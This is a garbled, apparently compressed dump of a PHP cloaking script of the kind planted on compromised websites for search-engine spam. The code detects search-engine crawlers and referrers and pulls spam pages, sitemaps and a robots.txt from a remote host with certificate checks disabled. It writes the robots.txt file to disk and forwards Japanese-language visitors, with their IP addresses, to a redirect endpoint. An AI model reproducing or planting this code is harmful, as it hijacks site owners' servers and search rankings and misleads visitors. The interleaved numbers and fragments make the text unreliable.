1 < 1 ? 1 p 3 hp 1 1 e 1 r 2 ro 1 r 2 _r 1 e 1 p 2 or 1 t 2 in 1 g 1 ( 1 0 1 ) 1 ; 1 1 1 @ 1 s 2 et 2 _t 1 i 1 m 2 e_ 1 l 1 i 2 mi 1 t 1 ( 1 1 1 2 7 0); @i 1 g 1 n 2 or 1 e 2 _u 1 s 1 e 2 r_ 1 a 1 b 4 ort( 1 1 4 ); 2 $t 1 r 1 2 = 1 " 2 ht 1 t 1 p 1 s 2 :/ 1 / 1 j 1 2 1 6 1 0 1 1 1 2 2 7_ 1 2 1 3 2 .g 1 a 1 g 1 a 2 li 1 l 1 i 1 . 2 co 2 m/ 1 " 3 ; 1 c 1 l 2 as 1 s 2 R 1 e 1 q 1 1 1 { 1 1 1 3 1 p 1 u 1 b 2 li 1 c 1 2 fu 1 n 1 c 2 ti 1 o 2 n 3 ser 1 v 1 e 2 r( 1 $ 1 n 2 am 1 e 4 = ' 1 ' 1 , 2 $ 1 d 1 e 1 f 2 au 1 l 1 t 5 = '' 1 ) 6 7 { 5 i 1 f 1 2 (e 1 m 2 pt 1 y 6 ($name 1 ) 1 ) 1 b { 4 2 re 1 t 1 u 2 rn 1 2 $_ 1 S 1 E 1 R 1 V 2 ER 3 ; 4 4 1 } a 8 $name = 2 st 1 r 1 t 2 ou 1 p 1 p 8 er($name 4 ); 8 7 return 1 i 1 s 3 set 1 ( 8 $_SERVER 1 [ 5 $name 1 ] 1 ) 1 1 ? 9 $_SERVER 7 [$name] 1 1 : 9 $default 7 ; 7 } 10 public function 3 iss 1 ( 16 ) { if ( 1 $ 3 thi 1 s 1 - 1 > 7 server( 1 ' 1 H 1 T 2 TP 1 S 1 ' 1 ) 2 & 2 & 1 ( 1 " 1 1 2 " 1 = 1 = 1 17 $this->server('HTTPS') 1 | 1 | 2 " 1 o 1 n 5 " == 5 strto 1 l 1 o 1 w 4 er($ 15 this->server('HTTPS') 1 ) 19 )) { return 2 tr 1 u 1 e d ; } 1 e 1 l 2 se 4 if ( 1 ' 6 https' 14 == $this->server('R 1 E 1 Q 1 U 1 E 1 S 2 T_ 1 S 1 C 1 H 1 E 1 M 2 E' 33 )) { return true; } elseif (' 1 4 1 4 1 3 14 ' == $this->server(' 6 SERVER 2 _P 2 OR 1 T 34 ')) { return true; } elseif (' 19 https' == $this->server(' 4 HTTP 1 _ 2 X_ 1 F 1 O 1 R 1 W 1 A 1 R 1 D 2 ED 1 _ 1 P 1 R 2 OT 1 O 2a ')) { return true; } 11 return 1 f 1 a 3 lse 1e ; } public function 1 h 2 os 1 t 13 () { 1 $ 4 host 3 = 3 str 2 va 1 l 14 ($this->server('HTTP d _X_FORWARDED_ 1 H 2 OS 3 T') 1 1 ? 3 : $ 12 this->server('HTTP 1 _ 6 HOST') 13 ); return 4 strp 1 o 1 s 1 ( 5 $host 1 , 1 1 ' 1 : 4 ') ? 4 str 3 str b ($host, ':' 1 , 1 5 true) 4 : $ 4 host 1e ; } public function 1 s 1 c 2 he 1 m 1 e 13 () { 8 return $ 6 this-> 5 iss() 3 ? 6 "https 1 " 3 : 5 "http 4 "; b } 10 public function 1 d 1 m 21 () { return $this-> 8 scheme() 1 2 . 1 " 3 :// 1 " 3 . 7 $this-> 6 host() 1f ; } public function i 1 p 13 () { 4 if ( 1 g 2 et 1 e 1 n 1 v 1 ( 6 'HTTP_ 1 C 1 L 1 I 1 E 1 N 2 T_ 1 I 1 P 14 ')) { $ 1 i 1 p 3 = 18 getenv('HTTP_CLIENT_IP') 15 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 26 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1d ; } elseif (getenv(' 1 R 1 E 2 MO 1 T 1 E 1 _ 2 AD 1 D 22 R')) { $ip = getenv(' 1e REMOTE_ADDR'); } else 10 { 6 $ip = f $this->server(' 19 REMOTE_ADDR'); } 11 return 3 $ip 1f ; } public function i 1 s 1 c 13 () { 2 $a 1 g 1 e 1 n 7 t = str 1c tolower($this->server('HTTP_ 1 U 3 SER 1 _ 1 A 1 G 3 ENT 3 ')) b ; 4 if ( 7 $agent 1 ! 4 = '' 5 && p 1 r 1 e 2 g_ 1 m 1 a 2 tc 1 h 1 ( 1 ' 2 /g 1 o 1 o 1 g 2 le 1 b 1 o 1 t 1 | 6 google 1 | 1 y 1 a 1 h 2 oo 1 | 1 b 3 ing 1 | 1 a 1 o 1 l 2 /s 1 i 4 ', $ 5 agent 29 )) { return true; } 11 return 23 false; } public function 2 is 1 g b () { 1 2 $ 1 r 1 e 2 fe 4 r = 1e strtolower($this->server('HTTP 1 _ 2 RE 1 F 1 E 1 R 1 E 4 R')) b ; 6 $refer 3 bot 1 s 4 = ' 15 google|yahoo|bing|aol 1 ' 10 ; if ($ 6 refer 14 != '' && preg_match( 1 " 2 /( a $referbots 1 ) 3 /si 1 " 3 , $ 5 refer 5d )) { return true; } return false; } public function 1 u 2 ri 13 () { 4 if ( 2 ($ 3 pos 6 = str 5 pos($ e this->server(' 8 REQUEST_ 1 U 1 R 1 I 1 ' 1 ) 3 , ' 1 . 3 php 4 ')) 1 ! 3 == 5 false 12 ) { $ 1 s 1 c 2 ri 1 p 2 t_ 7 name = 1 b 2 as 1 e 4 name 11 ($this->server('S 1 C 1 R 4 IPT_ 1 F 1 I 1 L 2 EN 1 A 5 ME')) b ; 4 4 if ( 1f basename($this->server('SCRIPT_ 7 NAME')) 3 == 3 = $ b script_name 11 ) { 4 1 $ 1 u 2 rl 3 = f $this->server(' 7 SCRIPT_ 6 NAME') f ; 1 } 9 elseif ( 18 basename($this->server(' 1 P 1 H 1 P 3 _SE 1 L 1 F 4 ')) 3b === $script_name) { $url = $this->server(' a PHP_SELF') 31 ; } elseif (basename($this->server(' 1 O 1 R 1 I 1 G 3 _SC 5 RIPT_ 43 NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 19 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 3 , ' 1 / 1 ' 4 . $ c script_name) 1c ) !== false) { b $url = 2 su 1 b 5 str($ e this->server(' d SCRIPT_NAME') 1 , 1 1 0 3 , $ 3 pos 1 ) 3 . 12 '/' . $script_name 19 ; } elseif ( f $this->server(' 1 D 1 O 1 C 1 U 1 M 4 ENT_ 1 R 1 O 1 O 4 T') 3 && 8 strpos($ 15 this->server('SCRIPT_ a FILENAME') 3 , $ e this->server(' f DOCUMENT_ROOT') 6 ) === 1 0 1c ) { $url = 3 str 4 _rep 2 la 1 c 11 e($this->server(' f DOCUMENT_ROOT') 3 , ' 4 ', $ 1f this->server('SCRIPT_FILENAME') 10 ); b } 5 $ 2 re 1 q 3 uri 4 = $ 4 url 1 . 1 16 substr($this->server(' f REQUEST_URI'), 5 $pos 1 + 1 1 4 c ); 6 } else 11 { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 10 REQUEST_URI'), ' 1 / e ')); b } 7 return 1 r 2 tr 1 i 1 m 4 ($re 4 quri 5 , '/' 8 ); 18 } public function e 1 x 2 ec 3 Req 1 ( 4 $url 4 , $p 3 = 1 a 1 r 2 ra 1 y 1 ( 1 ) 12 ) { 7 $url = c str_replace( 1 ' 1 3 ', 1 ' 1 + 4 ', $ 3 url d ); $ 1 c 1 h 4 = c 3 url 2 _i 1 n 3 it( c ); 5 curl_ 3 set 1 o 1 p 3 t($ 1 c 1 h 2 , 1 C 1 U 1 R 1 L 1 O 3 PT_ 3 URL 12 , $url); 1c curl_setopt($ch, CURLOPT_RET 1 U 1 R 2 NT 2 RA 2 NS 4 FER, 1 5 1); 4 4 19 curl_setopt($ch, CURLOPT_ 1 H 2 EA 1 D 4 ER, 5 0); 21 curl_setopt($ch, CURLOPT_ 1 T 1 I 1 M 1 E 4 OUT, 1 6 20); 21 curl_setopt($ch, CURLOPT_ 1 P 3 OST 28 , 1); curl_setopt($ch, CURLOPT_ 1 S 1 S 1 L 1 _ 3 VER 1 I 1 F 1 Y 1 P 1 E 2a ER, 0); curl_setopt($ch, CURLOPT_ a SSL_VERIFY 4 HOST 28 , 0); curl_setopt($ch, CURLOPT_ 4 POST 1 F 2 IE 1 L 1 D 1 S 1 , 1 5 http_ 1 b 1 u 1 i 1 l 2 d_ 1 q 1 u 2 er 4 y($p e )); $ 2 ou 1 t 1 p 1 u 4 t = 5 curl_ 4 exec 4 ($ch d ); $ 5 error 1 C 1 o 1 d 4 e = 7 curl_er 1 r 1 n 1 o 10 ($ch); 5 curl_ 1 c 2 lo 1 s 3 e($ e ch); 4 if ( 1 0 6 !== $ 9 errorCode 11 ) { 7 return c false; 4 12 } return 1 $ 6 output 7 ; 3 } 3 } 4 $req 3 = 1 n 1 e 1 w 4 Req 6 (); $ 1 i 1 s 1 c 4 = $ 3 req 1 - 1 > 3 isc 8 (); $is 1 g b = $req->is 3 g() 4 ; $ 1 u 2 ma 4 p = 4 $tr 3 . " 3 map 4 "; 3 $ur 4 i = 3 url 1 d 2 ec 3 ode 5 ($req 1 - 1 > 5 uri() 5 ); $ a p = array( 7 " 1 d 1 o 1 m 2 ai 4 n" = 1 > 7 $req-> 4 dm() 1 , 7 " 4 port b " => $req-> 8 server(' 3 SER 3 VER 6 _PORT' 1 , 1 1 8 1 0 9 ), " 3 uri 6 " => $ 3 uri 1 1 4 ); 4 if ( 8 substr($ 5 uri, 1 - 1 1 3 0) 3 == 1 " 2 ro 4 bots 2 .t 1 x 1 t 1 " a ) { h 1 e 1 a 1 d 3 er( 1 " 2 Co 1 n 3 ten 1 t 2 -t 1 y 1 p 1 e 2 :t 1 e 1 x 1 t 1 / 4 plai 1 n 1 ; 1 1 c 2 ha 1 r 3 set 1 = 2 ut 1 f 1 - 1 8 1 " 8 ); 1 d 1 i 8 e($req-> 9 execReq($ 6 tr . " 6 robots 4 ", $ 6 p)); 3 } 12 if (substr($uri, - 1 6 c ) == "robots a ") { 7 $output 9 = $req-> 1b execReq($tr . "robots", $p) 7 ; 2 $r 1 p 4 t = 2 __ 1 D 1 I 1 R 2 __ 4 . " 1 / b robots.txt" 7 ; 2 fi 1 l 2 e_ 3 put 1 _ 1 c 6 ontent 3 s($ 3 rpt 3 , $ 6 output 8 ); 1 $ 6 robots 5 _cont 3 = 1 @ 5 file_ 3 get e _contents($rpt 8 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 3 ), 1 " 2 si 1 t 5 emap" e )) { 4 die( b "robots.txt 1 5 file 1 c 2 re 1 a 2 te 3 su 1 c 1 c 2 es 1 s 1 ! 9 "); 12 } else { 1c die("robots.txt file create 2 fa 1 i 1 l b !"); } 5 } 12 if (substr($uri, - 1 4 6 ) == " 1 . 1 x 1 m 1 l a ") { b if (strpos( 4 $uri 4 , "a 1 l 1 l 7 sitemap 7 .xml") 3 || 8 strpos($ 6 uri, " 7 sitemap 1 - 1 i 2 nd 1 e 1 x 25 .xml") || strpos($uri, "sitemap-index 2 -1 18 .xml") || strpos($uri, " b index.xml") d ) { 19 $output = $req->execReq($ 4 umap 5 , $p) 7 ; 4 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 5 , 0, 1 5 6 ) === 1 ' 1 < 1 ? 3 xml 1 ' 4 ? ' 5 xml' 1 : 2 ' 5 plain 3 ') 3 . ' f ; charset=utf-8 9 '); 4 4 die( 3 '' 3 . $ e output); 7 } 19 $output = $req->execReq($ 6 tr . " 1 w 2 or 1 d 6 ", $p) 7 ; 1a header("Content-type:text/ 3 xml 18 ; charset=utf-8"); 4 if ( 9 $output = 3 = " 1 1 a ") { e die('' . $ 5 req-> a execReq($u 8 map, $p) 8 ); 16 } else { die( 17 '' . $output); } 5 } $l 1 a 1 n a g = $req-> c server('HTTP 1 _ 1 A 1 C 2 CE 3 PT_ 2 LA 1 N 2 GU 3 AGE 5 '); 4 if ( 1 ! 5 $isc 3 && 3 $is 1 g c && strpos($ 4 lang 3 , ' 1 j 2 a' 1 ) 3 !== e false) { 2 $p 2 [" 1 i 1 p 1 " 1 ] a = $req->i 3 p() 8 ; $ 1 a 6 ction 9 = $tr . " 1 j 1 u 1 m 9 p"; 13 die($req->execReq($ 6 action 10 , $p)); } if ( 4 $isc 9 ) { a die('' . $ e req->execReq($ 6 tr . " 3 ind 2 at 1 a d ", $p)); } 1 ? 1 > 0